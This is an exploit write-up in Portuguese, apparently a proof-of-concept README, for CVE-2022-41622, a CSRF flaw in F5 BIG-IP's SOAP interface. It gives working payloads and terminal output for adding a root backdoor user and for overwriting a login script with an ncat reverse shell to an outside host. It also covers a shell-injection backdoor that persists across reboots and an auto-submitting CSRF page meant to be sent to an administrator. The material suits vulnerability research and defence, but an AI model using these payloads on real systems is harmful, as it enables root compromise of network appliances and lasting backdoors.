Esta é uma prova de conceito para o CVE-2022-41622, que é um CSRF no F5 Big-IP que leva à execução remota de código. Usar isso é um pouco complicado, mas vou mostrar meus casos de uso favoritos.

A vulnerabilidade

A vulnerabilidade central é uma falsificação de solicitação entre sites na interface SOAP do F5 Big-IP, que é acessada via /iControl/iControlPortal.cgi, que executa como root. Mas, apesar de ser root, somos restritos por uma política SELinux, o que torna isso difícil de explorar. Mostraremos algumas soluções alternativas abaixo, no entanto.

A interface SOAP não tem proteção CSRF, o que significa que um invasor pode usar a sessão de um usuário autenticado para realizar qualquer solicitação SOAP suportada. A lista completa de arquivos WSDL está incluída, e criamos payloads para alguns dos importantes.

Uso básico

O uso básico é:

ruby f5-soap-exploit.rb <target> <xml_template> [username:password]

O username:password é puramente para teste - ele recebe uma conta de administrador válida e envia a solicitação SOAP diretamente ao servidor. Isso não é um exploit ou PoC, é simplesmente usar o endpoint conforme o esperado.

Se você não fornecer um username:password, ele imprimirá um payload CSRF. Para explorar a falha, um administrador autenticado terá que visitar um site contendo esse payload. O navegador dele será redirecionado e a ação ocorrerá em segundo plano.

Observe que os payloads reais não são bonitos ou ocultos de forma alguma - para explorar isso de verdade, você provavelmente terá que se esforçar um pouco.

Cenários

Vamos demonstrar usando uma conta real, mas lembre-se de que você pode explorar qualquer um deles usando CSRF!

Adicionar um usuário root

Este é provavelmente o mais fácil de explorar. Ele adiciona uma conta de usuário com uma senha, e você pode usar essa senha para fazer login via ssh. Também é barulhento, é claro!

(A senha padrão no payload é Password1)

$ ruby ./f5-soap-exploit.rb 10.0.0.162 ./templates/add_user.xml admin:Password1
NOTE: You've provided a username and password, which means this is going
to authenticate, and therefore isn't an exploit

Don't enter a username:password if you want to generate a CSRF exploit!
Value for USERNAME [rontest]: mybackdoor
Value for FULLNAME [Ron Test]: My Backdoor
Value for CRYPTSHA512HASH [$6$T2mT4PeYSuyg/hSr$y/rN9tol5t1fRxTBqFVtxLzRfUBXt16yNahqYTaVVZa3PITfoAKBnuzqvwBT77qNBV4JjgwdhzqmsMk78bo6d0]:
Sending the following payload directly to 10.0.0.162...

<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:user="urn:iControl:Management/UserManagement" xmlns:so
apenc="http://schemas.xmlsoap.org/soap/encoding/">
<soapenv:Header/>
<soapenv:Body>
<user:create_user_3 soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<users xsi:type="urn:Management.UserManagement.UserInfo3Sequence" soapenc:arrayType="urn:Management.UserManagement.UserInfo3[]" xmlns:urn="urn:iControl">

<item>
  <user>
    <name>mybackdoor</name>
    <full_name>My Backdoor</full_name>
  </user>

  <password>
    <is_encrypted>true</is_encrypted>
    <password>$6$T2mT4PeYSuyg/hSr$y/rN9tol5t1fRxTBqFVtxLzRfUBXt16yNahqYTaVVZa3PITfoAKBnuzqvwBT77qNBV4JjgwdhzqmsMk78bo6d0</password>
  </password>

  <permissions>
    <item>
      <role>USER_ROLE_ADMINISTRATOR</role>
      <partition>[All]</partition>
    </item>
  </permissions>

  <login_shell>/bin/bash</login_shell>
</item>
</users>
</user:create_user_3>
</soapenv:Body>
</soapenv:Envelope>

Response:
<E:Envelope
        xmlns:E="http://schemas.xmlsoap.org/soap/envelope/"
        xmlns:A="http://schemas.xmlsoap.org/soap/encoding/"
        xmlns:s="http://www.w3.org/2001/XMLSchema-instance"
        xmlns:y="http://www.w3.org/2001/XMLSchema"
        xmlns:iControl="urn:iControl"
        E:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<E:Body>
<m:create_user_3Response
        xmlns:m="urn:iControl:Management/UserManagement"></m:create_user_3Response>
</E:Body>
</E:Envelope>

$ ssh [email protected]
([email protected]) Password:
([email protected]) You are required to change your password immediately (root enforced)
[...]

[mybackdoor@localhost:NO LICENSE:Standalone] ~ # whoami
root

Encontramos um link simbólico em /etc/profile.d que não é coberto pelo SELinux:

# ls -l /etc/profile.d/timeout.sh
lrwxrwxrwx. 1 root root 31 Jul 15 02:48 /etc/profile.d/timeout.sh -> ../../var/run/config/timeout.sh

timeout.sh pode ser substituído, e na próxima vez que um usuário fizer login, qualquer código nele será executado. Note que sobrescrever timeout.sh pode causar problemas, não faço ideia do que ele deveria fazer (no entanto, ele é restaurado na reinicialização).

Vamos substituir timeout.sh pelo seguinte - basicamente, restaurar o timeout.sh original e então abrir um shell (você também pode encontrá-lo na pasta examples/):

# Restore the original file
echo 'IwojIFRISVMgSVMgQU4gQVVUTy1HRU5FUkFURUQgRklMRSAtIERPIE5PVCBFRElUISEhCiMKIyBVc2UgdGhlIHRtc2ggc2hlbGwgdXRpbGl0eSB0byBtYWtlIGNoYW5nZXMgdG8gdGhlIHN5c3RlbSBjb25maWd1cmF0aW9uLgojIEZvciBtb3JlIGluZm9ybWF0aW9uLCBzZWUgdG1zaCAtYSBoZWxwIHN5cyBzc2hkLgpQU09VVD1gL2Jpbi9wcyAtLW5vLWhlYWRlcnMgLW8gdHR5IC0kJGAKaWYgWyAiJHtQU09VVDowOjN9IiA9PSAidHR5IiBdOyB0aGVuCiAgICBleHBvcnQgVE1PVVQ9MAplbHNlCiAgICBleHBvcnQgVE1PVVQ9MApmaQoK' | base64 -d > /etc/profile.d/timeout.sh

# Pop a shell
ncat -e /bin/bash 10.0.0.179 4444

Aqui está a requisição / resposta:

$ base64 -w0 < examples/timeout.sh
IyBSZXN0b3JlIHRoZSBvcmlnaW5hbCBmaWxlCmVjaG8gJ0l3b2pJRlJJU1ZNZ1NWTWdRVTRnUVZWVVR5MUhSVTVGVWtGVVJVUWdSa2xNUlNBdElFUlBJRTVQVkNCRlJFbFVJU0VoQ2lNS0l5QlZjMlVnZEdobElIUnRjMmdnYzJobGJHd2dkWFJwYkdsMGVTQjBieUJ0WVd0bElHTm9ZVzVuWlhNZ2RHOGdkR2hsSUhONWMzUmxiU0JqYjI1bWFXZDFjbUYwYVc5dUxnb2pJRVp2Y2lCdGIzSmxJR2x1Wm05eWJXRjBhVzl1TENCelpXVWdkRzF6YUNBdFlTQm9aV3h3SUhONWN5QnpjMmhrTGdwUVUwOVZWRDFnTDJKcGJpOXdjeUF0TFc1dkxXaGxZV1JsY25NZ0xXOGdkSFI1SUMwa0pHQUthV1lnV3lBaUpIdFFVMDlWVkRvd09qTjlJaUE5UFNBaWRIUjVJaUJkT3lCMGFHVnVDaUFnSUNCbGVIQnZjblFnVkUxUFZWUTlNQXBsYkhObENpQWdJQ0JsZUhCdmNuUWdWRTFQVlZROU1BcG1hUW9LJyB8IGJhc2U2NCAtZCA+IC92YXIvcnVuL2NvbmZpZy90aW1lb3V0LnNoCgojIFBvcCBhIHNoZWxsCm5jYXQgLWUgL2Jpbi9iYXNoIDEwLjAuMC4xNzkgNDQ0NAo=

$ ruby ./f5-soap-exploit.rb 10.0.0.162 ./templates/upload_file.xml admin:Password1
NOTE: You've provided a username and password, which means this is going
to authenticate, and therefore isn't an exploit

Don't enter a username:password if you want to generate a CSRF exploit!
Value for FILENAME [/tmp/csrfdemo.txt]: /var/run/config/timeout.sh
Value for BASE64FILEDATA [SGVsbG8gd29ybGQh]: IyBSZXN0b3JlIHRoZSBvcmlnaW5hbCBmaWxlCmVjaG8gJ0l3b2pJRlJJU1ZNZ1NWTWdRVTRnUVZWVVR5MUhSVTVGVWtGVVJVUWdSa2xNUlNBdElFUlBJRTVQVkNCRlJFbFVJU0VoQ2lNS0l5QlZjMlVnZEdobElIUnRjMmdnYzJobGJHd2dkWFJwYkdsMGVTQjBieUJ0WVd0bElHTm9ZVzVuWlhNZ2RHOGdkR2hsSUhONWMzUmxiU0JqYjI1bWFXZDFjbUYwYVc5dUxnb2pJRVp2Y2lCdGIzSmxJR2x1Wm05eWJXRjBhVzl1TENCelpXVWdkRzF6YUNBdFlTQm9aV3h3SUhONWN5QnpjMmhrTGdwUVUwOVZWRDFnTDJKcGJpOXdjeUF0TFc1dkxXaGxZV1JsY25NZ0xXOGdkSFI1SUMwa0pHQUthV1lnV3lBaUpIdFFVMDlWVkRvd09qTjlJaUE5UFNBaWRIUjVJaUJkT3lCMGFHVnVDaUFnSUNCbGVIQnZjblFnVkUxUFZWUTlNQXBsYkhObENpQWdJQ0JsZUhCdmNuUWdWRTFQVlZROU1BcG1hUW9LJyB8IGJhc2U2NCAtZCA+IC92YXIvcnVuL2NvbmZpZy90aW1lb3V0LnNoCgojIFBvcCBhIHNoZWxsCm5jYXQgLWUgL2Jpbi9iYXNoIDEwLjAuMC4xNzkgNDQ0NAo=
Sending the following payload directly to 10.0.0.162...

<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:con="urn:iControl:System/ConfigSync">
   <soapenv:Header/>
   <soapenv:Body>
      <con:upload_file soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
        <file_name xsi:type="xsd:string">/var/run/config/timeout.sh</file_name>
         <file_context xsi:type="urn:System.ConfigSync.FileTransferContext" xmlns:urn="urn:iControl">
            <!--type: Common.OctetSequence-->
            <file_data xsi:type="urn:Common.OctetSequence">IyBSZXN0b3JlIHRoZSBvcmlnaW5hbCBmaWxlCmVjaG8gJ0l3b2pJRlJJU1ZNZ1NWTWdRVTRnUVZWVVR5MUhSVTVGVWtGVVJVUWdSa2xNUlNBdElFUlBJRTVQVkNCRlJFbFVJU0VoQ2lNS0l5QlZjMlVnZEdobElIUnRjMmdnYzJobGJHd2dkWFJwYkdsMGVTQjBieUJ0WVd0bElHTm9ZVzVuWlhNZ2RHOGdkR2hsSUhONWMzUmxiU0JqYjI1bWFXZDFjbUYwYVc5dUxnb2pJRVp2Y2lCdGIzSmxJR2x1Wm05eWJXRjBhVzl1TENCelpXVWdkRzF6YUNBdFlTQm9aV3h3SUhONWN5QnpjMmhrTGdwUVUwOVZWRDFnTDJKcGJpOXdjeUF0TFc1dkxXaGxZV1JsY25NZ0xXOGdkSFI1SUMwa0pHQUthV1lnV3lBaUpIdFFVMDlWVkRvd09qTjlJaUE5UFNBaWRIUjVJaUJkT3lCMGFHVnVDaUFnSUNCbGVIQnZjblFnVkUxUFZWUTlNQXBsYkhObENpQWdJQ0JsZUhCdmNuUWdWRTFQVlZROU1BcG1hUW9LJyB8IGJhc2U2NCAtZCA+IC92YXIvcnVuL2NvbmZpZy90aW1lb3V0LnNoCgojIFBvcCBhIHNoZWxsCm5jYXQgLWUgL2Jpbi9iYXNoIDEwLjAuMC4xNzkgNDQ0NAo=</file_data>
            <chain_type xsi:type="urn:Common.FileChainType">FILE_FIRST_AND_LAST</chain_type>
         </file_context>
      </con:upload_file>
   </soapenv:Body>
</soapenv:Envelope>

Response:
<E:Envelope
        xmlns:E="http://schemas.xmlsoap.org/soap/envelope/"
        xmlns:A="http://schemas.xmlsoap.org/soap/encoding/"
        xmlns:s="http://www.w3.org/2001/XMLSchema-instance"
        xmlns:y="http://www.w3.org/2001/XMLSchema"
        xmlns:iControl="urn:iControl"
        E:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<E:Body>
<m:upload_fileResponse
        xmlns:m="urn:iControl:System/ConfigSync"></m:upload_fileResponse>
</E:Body>
</E:Envelope>

Então ouvimos, esperamos alguém fazer login e recebemos um shell:

$ nc -v -l -p 4444
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444

[..... wait .....]

Ncat: Connection from 10.0.0.162.
Ncat: Connection from 10.0.0.162:38588.

whoami
root

Shell remoto na reinicialização

Encontramos uma vulnerabilidade de injeção de shell em uma ferramenta chamada f5_update_checker que é executada como root (e sem restrições SELinux) na reinicialização. Se criarmos um arquivo, /shared/f5_update_action com um arquivo de atualização formatado corretamente e um payload de injeção de shell na linha 2, ele será executado 2 minutos após a próxima inicialização do servidor e depois será excluído.

Isso seria uma ótima backdoor para persistência. :)

Aqui está um exemplo (também está na pasta examples/):

AAA
https://localhost/success`ncat -e /bin/bash 10.0.0.179 4444`
https://localhost/error
0
0
0
0

Codifique em base64 e faça o upload usando o template upload_file.xml:

$ base64 -w0 < examples/f5_update_action
QUFBCmh0dHBzOi8vbG9jYWxob3N0L3N1Y2Nlc3NgbmNhdCAtZSAvYmluL2Jhc2ggMTAuMC4wLjE3OSA0NDQ0YApodHRwczovL2xvY2FsaG9zdC9lcnJvcgowCjAKMAowCg==

$ ruby ./f5-soap-exploit.rb 10.0.0.162 ./templates/upload_file.xml admin:Password1
NOTE: You've provided a username and password, which means this is going
to authenticate, and therefore isn't an exploit

Don't enter a username:password if you want to generate a CSRF exploit!
Value for FILENAME [/tmp/csrfdemo.txt]: /shared/f5_update_action
Value for BASE64FILEDATA [SGVsbG8gd29ybGQh]: QUFBCmh0dHBzOi8vbG9jYWxob3N0L3N1Y2Nlc3NgbmNhdCAtZSAvYmluL2Jhc2ggMTAuMC4wLjE3OSA0NDQ0YApodHRwczovL2xvY2FsaG9zdC9lcnJvcgowCjAKMAowCg==
Sending the following payload directly to 10.0.0.162...

<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:con="urn:iControl:System/ConfigSync">
   <soapenv:Header/>
   <soapenv:Body>
      <con:upload_file soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
        <file_name xsi:type="xsd:string">/shared/f5_update_action</file_name>
         <file_context xsi:type="urn:System.ConfigSync.FileTransferContext" xmlns:urn="urn:iControl">
            <!--type: Common.OctetSequence-->
            <file_data xsi:type="urn:Common.OctetSequence">QUFBCmh0dHBzOi8vbG9jYWxob3N0L3N1Y2Nlc3NgbmNhdCAtZSAvYmluL2Jhc2ggMTAuMC4wLjE3OSA0NDQ0YApodHRwczovL2xvY2FsaG9zdC9lcnJvcgowCjAKMAowCg==</file_data>
            <chain_type xsi:type="urn:Common.FileChainType">FILE_FIRST_AND_LAST</chain_type>
         </file_context>
      </con:upload_file>
   </soapenv:Body>
</soapenv:Envelope>

Response:
<E:Envelope
        xmlns:E="http://schemas.xmlsoap.org/soap/envelope/"
        xmlns:A="http://schemas.xmlsoap.org/soap/encoding/"
        xmlns:s="http://www.w3.org/2001/XMLSchema-instance"
        xmlns:y="http://www.w3.org/2001/XMLSchema"
        xmlns:iControl="urn:iControl"
        E:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<E:Body>
<m:upload_fileResponse
        xmlns:m="urn:iControl:System/ConfigSync"></m:upload_fileResponse>
</E:Body>
</E:Envelope>

Crie um listener e aguarde uma reinicialização:

ron@fedora ~ $ nc -v -l -p 4444
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444

[...... wait ......]

Ncat: Connection from 10.0.0.162.
Ncat: Connection from 10.0.0.162:55634.

whoami
root

Você pode acompanhar /var/log/f5_update_checker.out após a reinicialização para garantir que funcionou (obviamente isso só funciona se você já tiver acesso ao host):

# cat /var/log/f5_update_checker.out
[Wed Oct 19 10:47:32 2022] f5em_callback [INFO]: EM callback utility started
[Wed Oct 19 10:47:32 2022] f5em_callback [INFO]: Searching for EM callback file "/shared/f5_update_action"
[Wed Oct 19 10:47:32 2022] f5em_callback [INFO]: EM callback file found -- parsing
[Wed Oct 19 10:47:32 2022] f5em_callback [INFO]: EM callback file action: "AAA"
[Wed Oct 19 10:47:32 2022] f5em_callback [INFO]: EM callback file success URL: "https://localhost/success`ncat -e /bin/bash 10.0.0.179 4444`"
[Wed Oct 19 10:47:32 2022] f5em_callback [INFO]: EM callback file failure URL: "https://localhost/error"
[Wed Oct 19 10:47:32 2022] f5em_callback [INFO]: EM callback file rebootOnSuccess flag: "8"
[Wed Oct 19 10:47:32 2022] f5em_callback [INFO]: EM callback file rebootOnSuccess slot: "0"
[Wed Oct 19 10:47:32 2022] f5em_callback [INFO]: EM callback file rebootOnFailure flag: "0"
[Wed Oct 19 10:47:32 2022] f5em_callback [INFO]: EM callback file rebootOnFailure slot: "0"
[Wed Oct 19 10:47:32 2022] f5em_callback [INFO]: Executing EM action: AAA
[Wed Oct 19 10:47:32 2022] f5em_callback [INFO]: Sleeping for 2 minutes before first attempt.

Adicionar usuário com CSRF

Os exemplos anteriores mostram como executar endpoints SOAP com uma conta, mas obviamente isso não é realmente um exploit. Vamos dar uma olhada em como é um payload CSRF!

Usaremos o mesmo exemplo de adicionar um usuário como acima, mas sem uma conta:

$ ruby ./f5-soap-exploit.rb 10.0.0.162 ./templates/add_user.xml > examples/csrf-adduser-payload.html
Value for USERNAME [rontest]: csrfdemo2
Value for FULLNAME [Ron Test]: CSRF Demo
Value for CRYPTSHA512HASH [$6$T2mT4PeYSuyg/hSr$y/rN9tol5t1fRxTBqFVtxLzRfUBXt16yNahqYTaVVZa3PITfoAKBnuzqvwBT77qNBV4JjgwdhzqmsMk78bo6d0]: 

$ cat examples/csrf-adduser-payload.html

      <form id="form" method="post" action="https://10.0.0.162/iControl/iControlPortal.cgi" enctype="text/plain">
        <textarea id="payload" name="&lt;!--">--&gt;&lt;soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:user="urn:iControl:Management/UserManagement" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/"&gt;
&lt;soapenv:Header/&gt;
&lt;soapenv:Body&gt;
&lt;user:create_user_3 soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"&gt;
&lt;users xsi:type="urn:Management.UserManagement.UserInfo3Sequence" soapenc:arrayType="urn:Management.UserManagement.UserInfo3[]" xmlns:urn="urn:iControl"&gt;

&lt;item&gt;
  &lt;user&gt;
    &lt;name&gt;csrfdemo2&lt;/name&gt;
    &lt;full_name&gt;CSRF Demo&lt;/full_name&gt;
  &lt;/user&gt;

  &lt;password&gt;
    &lt;is_encrypted&gt;true&lt;/is_encrypted&gt;
    &lt;password&gt;$6$T2mT4PeYSuyg/hSr$y/rN9tol5t1fRxTBqFVtxLzRfUBXt16yNahqYTaVVZa3PITfoAKBnuzqvwBT77qNBV4JjgwdhzqmsMk78bo6d0&lt;/password&gt;
  &lt;/password&gt;

  &lt;permissions&gt;
    &lt;item&gt;
      &lt;role&gt;USER_ROLE_ADMINISTRATOR&lt;/role&gt;
      &lt;partition&gt;[All]&lt;/partition&gt;
    &lt;/item&gt;
  &lt;/permissions&gt;

  &lt;login_shell&gt;/bin/bash&lt;/login_shell&gt;
&lt;/item&gt;
&lt;/users&gt;
&lt;/user:create_user_3&gt;
&lt;/soapenv:Body&gt;
&lt;/soapenv:Envelope&gt;
</textarea>
        <input type=submit>
      </form>

      <script>
        setTimeout(function() {
          document.getElementById("form").submit();
        }, 1000);
      </script>

Sirva esse arquivo HTML em algum lugar e envie um link para um administrador. Quando o administrador visitar esse link, o navegador dele será redirecionado e acessará a API SOAP usando um payload CSRF típico.

$ python -m http.server -d examples/
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

[..... waiting .....]

127.0.0.1 - - [19/Oct/2022 11:07:57] "GET /csrf-adduser-payload.html HTTP/1.1" 200 -
127.0.0.1 - - [19/Oct/2022 11:07:58] code 404, message File not found
127.0.0.1 - - [19/Oct/2022 11:07:58] "GET /favicon.ico HTTP/1.1" 404 -
^C

$ ssh [email protected]
([email protected]) Password: 
([email protected]) You are required to change your password immediately (root enforced)
Changing password for csrfdemo2.
(current) BIG-IP password: 
([email protected]) New BIG-IP password: 
([email protected]) Retype new BIG-IP password: 
Last login: Wed Oct 19 11:00:43 2022 from 10.0.0.179
[csrfdemo2@localhost:NO LICENSE:Standalone] ~ # whoami
root

Isso obviamente não tenta se esconder de forma alguma - você pode melhorar muito o payload CSRF!

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